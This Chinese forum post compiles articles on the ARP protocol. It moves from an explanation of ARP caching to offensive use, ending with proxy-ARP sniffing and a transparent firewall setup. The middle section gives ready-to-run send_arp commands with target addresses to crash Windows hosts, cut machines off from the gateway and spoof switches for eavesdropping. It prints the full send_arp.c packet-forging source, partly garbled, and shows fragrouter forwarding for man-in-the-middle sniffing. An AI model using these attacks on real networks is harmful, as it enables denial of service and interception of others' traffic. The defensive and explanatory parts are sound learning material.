|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?注册
×
看到有一些兄弟总是迷惑于ARP协议,发一点相关知识。---------------------------//第一部分--------------------------- 网络管理之ARP协议篇 出处:中国电脑教育报 我们知道,当我们在浏览器里面输入网址时,DNS服务器会自动把它解析为IP地址,浏览器实际上查找的是IP地址而不是网址。那么IP地址是如何转换为第二层物理地址(即MAC地址)的呢?在局域网中,这是通过ARP协议来完成的。ARP协议对网络安全具有重要的意义。通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞。所以网管们应深入理解ARP协议。一、什么是ARP协议 ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写。在局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的。在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址。但这个目标MAC地址是如何获得的呢?它就是通过地址解析协议获得的。所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。二、ARP协议的工作原理 在每台安装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的。我们以主机A(192.168.1.5)向主机B(192.168.1.1)发送数据为例。当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。如果找到了,也就知道了目标MAC地址,直接把目标MAC地址写入帧里面发送就可以了;如果在ARP缓存表中没有找到相对应的IP地址,主机A就会在网络上发送一个广播,目标MAC地址是“FF.FF.FF.FF.FF.FF”,这表示向同一网段内的所有主机发出这样的询问:“192.168.1.1的MAC地址是什么?”网络上其他主机并不响应ARP询问,只有主机B接收到这个帧时,才向主机A做出这样的回应:“192.168.1.1的MAC地址是00-aa-00-62-c6-09”。这样,主机A就知道了主机B的MAC地址,它就可以向主机B发送信息了。同时它还更新了自己的ARP缓存表,下次再向主机B发送信息时,直接从ARP缓存表里查找就可以了。ARP缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除,这样可以大大减少ARP缓存表的长度,加快查询速度。三、如何查看ARP缓存表ARP缓存表是可以查看的,也可以添加和修改。在命令提示符下,输入“arp -a”就可以查看ARP缓存表中的内容了,如附图所示。用“arp -d”命令可以删除ARP表中某一行的内容;用“arp -s”可以手动在ARP表中指定IP地址与MAC地址的对应。 ------------------//第二部分--玩转ARP 作者:不详 来源:不详 加入时间:2002-12-13 阅读次数:194 我写这片文章只是想让你明白深刻理解某一协议的好处。 高手免看。 如果有人利用这片文章所做的一切事情,盖不负责。 网上关于ARP的资料已经很多了,就不用我都说了。 用某一位高手的话来说,“我们能做的事情很多,唯一受 限制的是我们的创造力和想象力”。 ARP也是如此。 以下讨论的机子有 一个要攻击的机子:10.5.4.178 硬件地址:52:54:4C:98:EE:2F 我的机子: :10.5.3.69 硬件地址:52:54:4C:98:ED:C5 网关: 10.5.0.3 硬件地址:00:90:26:3D:0C:F3 一台交换机另一端口的机子:10.5.3.3 硬件地址:52:54:4C:98:ED:F7 一:用ARP破WINDOWS的屏保 原理:利用IP冲突的级别比屏保高,当有冲突时,就会 跳出屏保。 关键:ARP包的数量适当。 [root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \ 10.5.4.178 52:54:4C:98:EE:2F 40 二:用ARP导致IP冲突,死机 原理:WINDOWS 9X,NT4在处理IP冲突时,处理不过来,导致死机。 注: 对WINDOWS 2K,LINUX相当于flooding,只是比一般的FLOODING 有效的多.对LINUX,明显系统被拖慢。 [root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \ 10.5.4.178 52:54:4C:98:EE:2F 999999999 三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。 原理:用ARP应答包去刷新对应着要使之出不去的机子。 [root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \ 10.5.4.178 00:90:26:3D:0C:F3 1 注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP 高速缓存会被被攻击的机子正确刷新,于是只要... 四:用ARP欺骗交换机,可监听到交换机另一端的机子。 可能需要修改一下send_arp.c,构造如下的数据包。 ethhdr srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H arphdr hwtype:1 protol:800H hw_size:6 pro_size:4 op:1 s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3 d_ha:00:00:00:00:00:00 d_ip:10.5.3.3 然后就可以sniffer了。 原理: 交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表 所以你可以先来个ARP 欺骗,然后就可以监听了 不过需要指出,欺骗以后,同一个MAC地址就有两个端口号 yuange说,“这样其实就是一个竞争问题。” 好象ARP 以后,对整个网络会有点影响,不过我不敢确定 既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。 对被监听者会有影响,因为他掉了一部分数据。 当然还有其他一些应用,需要其他技术的配合。 以下是send_arp.c的源程序 /* This program sends out one ARP packet with source/target IP and Ethernet hardware addresses suuplied by the user. It compiles and works on Linux and will probably work on any Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ETH_HW_ADDR_LEN 6 #define IP_ADDR_LEN 4 #define ARP_FRAME_TYPE 0x0806 #define ETHER_HW_TYPE 1 #define IP_PROTO_TYPE 0x0800 #define OP_ARP_REQUEST 2 #define OP_ARP_QUEST 1 #define DEFAULT_DEVICE "eth0" char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"}; struct arp_packet { u_char targ_hw_addr[ETH_HW_ADDR_LEN]; u_char src_hw_addr[ETH_HW_ADDR_LEN]; u_short frame_type; u_short hw_type; u_short prot_type; u_char hw_addr_size; u_char prot_addr_size; u_short op; u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; u_char sndr_ip_addr[IP_ADDR_LEN]; u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; u_char rcpt_ip_addr[IP_ADDR_LEN]; u_char padding[18]; }; void die (char *); void get_ip_addr (struct in_addr *, char *); void get_hw_addr (char *, char *); int main (int argc, char * argv[]) { struct in_addr src_in_addr, targ_in_addr; struct arp_packet pkt; struct sockaddr sa; int sock; int j,number; if (argc != 6) die(usage); sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP)); if (sock < 0) { perror("socket"); exit(1); } number=atoi(argv[5]); pkt.frame_type = htons(ARP_FRAME_TYPE); pkt.hw_type = htons(ETHER_HW_TYPE); pkt.prot_type = htons(IP_PROTO_TYPE); pkt.hw_addr_size = ETH_HW_ADDR_LEN; pkt.prot_addr_size = IP_ADDR_LEN; pkt.op = htons(OP_ARP_QUEST); get_hw_addr(pkt.targ_hw_addr, argv[4]); get_hw_addr(pkt.rcpt_hw_addr, argv[4]); get_hw_addr(pkt.src_hw_addr, argv[2]); get_hw_addr(pkt.sndr_hw_addr, argv[2]); get_ip_addr(&src_in_addr, argv[1]); get_ip_addr(&targ_in_addr, argv[3]); memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN); memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN); bzero(pkt.padding,18); strcpy(sa.sa_data,DEFAULT_DEVICE); for (j=0;js_addr = inet_addr(str); if(in_addr->s_addr == -1) { if ((hostp = gethostbyname(str))) bcopy(hostp->h_addr, in_addr, hostp->h_length); else { fprintf(stderr, "send_arp: unknown host %s\n", str); exit(1); } } } void get_hw_addr (char *buf, char *str) { int i; char c, val; for(i = 0; i < ETH_HW_ADDR_LEN; i++) { if (!(c = tolower(*str++))) die("Invalid hardware address"); if (isdigit┅ val = c - '0'; else if (c >= 'a' && c /proc/sys/net/ipv4/ip_forward下面我们可以下载大名鼎鼎的dugsong的另外一个工具fragroute,这个工具以前叫做fragrouter(仅有1字的差别)主要用于实现入侵检测系统处理分片的ip和tcp包功能的检测,本身自代包转发的功能.可以到下面的网站下载:http://monkey.org/~dugsong/fragroute/安装这个软件包之前先要下载安装libpcap和libevent.当然我们也可以使用fragrouter来完成:http://www.packetstormsecurity.org/groups/ w00w00/sectools/fragrouter/ [root@sound fragrouter-1.6]# ./fragrouter -B1 fragrouter: base-1: normal IP forwarding现在就可以实现在交换局域网中嗅探的目标.当然上面这些只是一些原理性的介绍,在真正的使用中会遇到很多的问题,比如如何实现对网关A和主机C的欺骗,以及如何处理可能出现的广播风暴问题,这些可以在实践中学习.还有一个叫arpsniff的工具能够很方便的完成这一功能,很多网站都提供下载,界面比较友好,由于和上面的原理一样,只是工具使用上的不同并且添加了一些附加的功能,所以这里不在进行介绍.代理ARP的另外一个应用就是防火墙的透明代理的实现.我们都知道早期的防火墙大都是基于路由模式,也就是防火墙要完成一个路由的作用.这种接入方式需要在局域网内的主机上设置防火墙的IP为代理,而且需要在外部路由器的路由表中加入一条指向防火墙的路由.这种方式的缺点在于不透明,需要进行过多的设置,并且破坏了原有的网络拓扑.所以现在几乎全部的防火墙都实现了一种透明接入的功能,用户的路由器和客户端不用做任何修改,用户甚至感觉不到透明接入方式防火墙的存在.这种透明接入的原理就是ARP代理.我们现在看如何配置一台主机作为透明接入模式的防火墙(透明接入的防火墙不需要IP),图5 如图5所示,一台防火墙连接内部网段和DMZ网段到外部路由.我们在这台用作防火墙的主机上使用linux操作系统,这样我们可以方便的使用iptables防火墙.假设三块网卡为eth0,eth1和eth2,eth0和路由器相连,eth1和内网相连.eth2和外网相连.假设DMZ区有2台服务器.内网地址:192.168.1.0/24DMZ地址:192.168.1.2---192.168.1.3路由器的ip地址:192.168.1.1eth0:AA:AA:AA:AA:AA:AAeth1:BB:BB:BB:BB:BB:BBeth2:CC:CC:CC:CC:CC:CC和前面差不多,第一步需要实现ARP欺骗,这次我们有个简单的实现.我们把路由器的IP地址和防火墙的eth1和eth2的网卡物理地址绑定,将内网和DMZ网段的IP地址和eth0的网卡绑定,在linux系统上我们用arp命令实现:arp -s 192.168.1.1 BB:BB:BB:BB:BB:BBarp -s 192.168.1.1 CC:CC:CC:CC:CC:CC arp -s 192.168.1.0/24 AA:AA:AA:AA:AA:AA第二部我们需要在基于linux的防火墙上设置路由,把目标地址是外部路由的包转发到eth0,把目标地址为内网的包转发到eth1,把目标地址是DMZ网段服务器的包转发到eth2.在linux下面用route命令实现route add 192.168.1.1 dev eth0route add -net 192.168.1.0/24 dev eth1route add 192.168.1.2 dev eth2route add 192.168.1.3 dev eth3 (针对DMZ网段里面的每台服务器都要增加一条单独的路由) 现在我们就已经实现了一个简单的arp代理的透明接入,当然对应于防火墙的iptables部分要另外配置,iptables的配置不在本文范畴之内.小结本文介绍了ARP协议以及与其相关的安全问题。一个重要的安全问题就是ARP欺骗,我们讲到了同一网段的ARP欺骗以及跨网段的ARP欺骗和ICMP重定向相结合的方法。由于有这些安全问题的存在,我们给出一些最基本的解决办法。最后谈到了利用代理ARP实现在交换网络中嗅探和防火墙的透明接入。有关更深入的知识请参考RFC826、RFC814、RFC1029、RFC1166以及有关dugsong有关的网页: http://freshmeat.net/~dugsong/ ------------- |
|